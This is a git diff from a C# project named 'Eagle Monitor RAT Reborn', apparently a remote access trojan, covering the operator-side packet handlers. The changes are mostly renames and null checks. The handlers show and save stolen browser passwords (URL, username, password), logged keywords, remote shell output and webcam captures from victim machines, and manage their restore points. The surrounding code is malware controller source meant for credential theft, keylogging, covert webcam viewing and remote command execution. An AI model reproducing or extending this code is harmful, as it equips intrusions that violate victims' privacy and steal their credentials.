diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs
index 1dbec53a..599b295f 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs
@@ -18,27 +18,27 @@ public KeywordsPacketHandler(KeywordsPacket keywordsPacket) : base()//, ClientHa
{
try
{
- if (ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView != null)
+ if (ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView != null)
{
- ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Clear();
foreach (object[] str in keywordsPacket.keywordsList)
{
- int rowId = ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows[rowId];
row.Cells["Column26"].Value = str[0].ToString();
row.Cells["Column27"].Value = str[1].ToString();
}
if (Program.settings.autoSaveRecovery)
- Utils.ToCSV(ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView, ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv");
+ Utils.ToCSV(ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv");
return;
}));
}
else
- { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); }
+ { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); }
}
- catch { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); }
+ catch { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); }
}
else
return;
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs
index ba19203e..6cb1f4c8 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs
@@ -18,29 +18,29 @@ public PasswordsPacketHandler(PasswordsPacket passwordsPacket) :base()//, Client
{
try
{
- if (ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView != null)
+ if (ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView != null)
{
- ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Clear();
foreach (object[] str in passwordsPacket.passwordsList)
{
- int rowId = ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows[rowId];
row.Cells["Column1"].Value = str[0].ToString();
row.Cells["Column2"].Value = str[1].ToString();
row.Cells["Column3"].Value = str[2].ToString();
row.Cells["Column4"].Value = str[3].ToString();
}
if (Program.settings.autoSaveRecovery)
- Utils.ToCSV(ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView, ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv");
+ Utils.ToCSV(ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv");
return;
}));
}
else
- { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); }
+ { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); }
}
- catch { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); }
+ catch { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); }
}
else
return;
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs
index 24f82932..cb3aa6e6 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs
@@ -13,16 +13,19 @@ internal class RemoteShellStdOutPacketHandler
{
public RemoteShellStdOutPacketHandler(StdOutShellSessionPacket stdOutShellSessionPacket) : base()
{
- try
+ if (ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm != null)
{
- ClientHandler.ClientHandlersList[stdOutShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() =>
+ try
{
- ClientHandler.ClientHandlersList[stdOutShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.AppendText(stdOutShellSessionPacket.shellStdOut);
+ ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() =>
+ {
+ ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.AppendText(stdOutShellSessionPacket.shellStdOut);
- }));
+ }));
+ }
+ catch { }
+ return;
}
- catch { }
- return;
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs
index 65612b46..80ab6180 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs
@@ -13,19 +13,21 @@ internal class RemoteStartShellPacketHandler
{
public RemoteStartShellPacketHandler(StartShellSessionPacket startShellSessionPacket) : base()
{
- try
+ if (ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm != null)
{
- ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellGuna2ToggleSwitch.Enabled = false;
- ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellGuna2TextBox.Enabled = true;
- ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() =>
+ try
{
- ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.Text += "\n-------------New session started !-------------\n";
+ ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2ToggleSwitch.Enabled = false;
+ ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2TextBox.Enabled = true;
+ ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() =>
+ {
+ ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.Text += "\n-------------New session started !-------------\n";
- }));
+ }));
+ }
+ catch { }
+ return;
}
- catch { }
- return;
-
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs
index 54557998..4aec304e 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs
@@ -15,13 +15,13 @@ public DeleteRestorePointPacketHandler(DeleteRestorePointPacket deleteRestorePoi
{
try
{
- ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows)
+ foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows)
{
if (int.Parse(row.Cells[0].Value.ToString()) == deleteRestorePointPacket.index)
{
- ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Remove(row);
+ ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Remove(row);
break;
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs
index 0bebb192..5e7f87bb 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs
@@ -17,13 +17,13 @@ public RestorePointPacketHandler(RestorePointPacket restorePointPacket) : base()
{
try
{
- ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Clear();
foreach (RestorePoint restorePoint in restorePointPacket.restorePoints)
{
- int rowId = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows[rowId];
row.Tag = restorePoint.index;
row.Cells["Column42"].Value = restorePoint.index.ToString();
row.Cells["Column43"].Value = restorePoint.description;
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs
index f338ec37..437aa64a 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs
@@ -15,34 +15,20 @@ internal class RemoteCameraCapturePacketHandler
{
public RemoteCameraCapturePacketHandler(RemoteCameraCapturePacket remoteCameraCapturePacket) : base()//, ClientHandler clientHandler)
{
- //TO TEST !!!!!
-
- try
- {
- ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamPictureBox.BeginInvoke((MethodInvoker)(() =>
- {
- ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamHandler.hasAlreadyConnected = true;
- if (ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)) != null)
- ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture));
- }));
- return;
- }
- catch { }
-
- /*new Thread(() =>
+ if (ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm != null)
{
try
{
- ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamHandler.hasAlreadyConnected = true;
+ ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.RemoteWebCamHandler.HasAlreadyConnected = true;
if (ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)) != null)
- ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture));
+ ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture));
}));
return;
}
catch { }
- }).Start();*/
+ }
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs
index 89fe3ff1..b643bc39 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs
@@ -13,35 +13,24 @@ internal class RemoteCameraPacketHandler
{
public RemoteCameraPacketHandler(RemoteCameraPacket remoteCameraPacket) : base()//, ClientHandler clientHandler) : base()
{
- try
+ if (ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm != null)
{
- ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.BeginInvoke((MethodInvoker)(() =>
+ try
{
- foreach (string camera in remoteCameraPacket.cameras)
+ ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.Items.Add(camera);
- }
+ foreach (string camera in remoteCameraPacket.cameras)
+ {
+ ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.Items.Add(camera);
+ }
- if (remoteCameraPacket.cameras.Count > 0)
- ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.SelectedIndex = 0;
- }));
+ if (remoteCameraPacket.cameras.Count > 0)
+ ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.SelectedIndex = 0;
+ }));
+ }
+ catch { }
+ return;
}
- catch { }
- return;
- /*try
- {
- ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.BeginInvoke((MethodInvoker)(() =>
- {
- foreach (string camera in remoteCameraPacket.cameras)
- {
- ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.Items.Add(camera);
- }
-
- if (remoteCameraPacket.cameras.Count > 0)
- ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.SelectedIndex = 0;
- }));
- }
- catch { }*/
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs
index d036f753..12b367ae 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs
index 6ae91663..fedcd7c0 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs
@@ -449,6 +449,26 @@ internal static System.Drawing.Icon icons8_download {
}
}
+ ///
+ /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).
+ ///
+ internal static System.Drawing.Icon icons8_electronics {
+ get {
+ object obj = ResourceManager.GetObject("icons8_electronics", resourceCulture);
+ return ((System.Drawing.Icon)(obj));
+ }
+ }
+
+ ///
+ /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).
+ ///
+ internal static System.Drawing.Icon icons8_ethernet_on {
+ get {
+ object obj = ResourceManager.GetObject("icons8_ethernet_on", resourceCulture);
+ return ((System.Drawing.Icon)(obj));
+ }
+ }
+
///
/// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).
///
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx
index 17642b63..4d50f20a 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx
@@ -671,4 +671,10 @@ ZSH
..\Resources\icons8_command_line.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\Resources\icons8_electronics.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+
+ ..\Resources\icons8_ethernet_on.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
\ No newline at end of file
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_electronics.ico b/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_electronics.ico
new file mode 100644
index 00000000..2e7e43fb
Binary files /dev/null and b/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_electronics.ico differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_ethernet_on.ico b/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_ethernet_on.ico
new file mode 100644
index 00000000..2a83190a
Binary files /dev/null and b/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_ethernet_on.ico differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferences.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferences.cache
index e12be1a5..ed8e9c25 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferences.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferences.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
index 520cfae1..4d80ed7e 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn (x32).exe b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn (x32).exe
index 1e98a11b..d5b31487 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn (x32).exe and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn (x32).exe differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache
index 0b5cfda4..c3938720 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
index 9531c802..284f3d66 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-be0c764b88aa94516a26b458f123365ab279d7ae
+2f01d4f87410351be9c06d98b9cd7215958718ea
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache
index 2509130b..de4640ab 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources
index d130dc9d..3952e553 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/TempPE/Properties.Resources.Designer.cs.dll b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/TempPE/Properties.Resources.Designer.cs.dll
index f19d8cd9..04b278fe 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/TempPE/Properties.Resources.Designer.cs.dll and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/TempPE/Properties.Resources.Designer.cs.dll differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferences.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferences.cache
index 9fe83a90..21b47ea4 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferences.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferences.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache
index a6dd0fbb..40f1e8fd 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn (x64).exe b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn (x64).exe
index e48e00cc..895819c8 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn (x64).exe and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn (x64).exe differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache
index 0b5cfda4..eaeedf99 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
index 8dca8516..79ec39db 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-2ad41048f1316970c57d1e82566fec6d60f42d3b
+acfe77e6af85c938ebe2b1de2bbedae15acbb636
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt
index 0995d94f..dd571ad3 100644
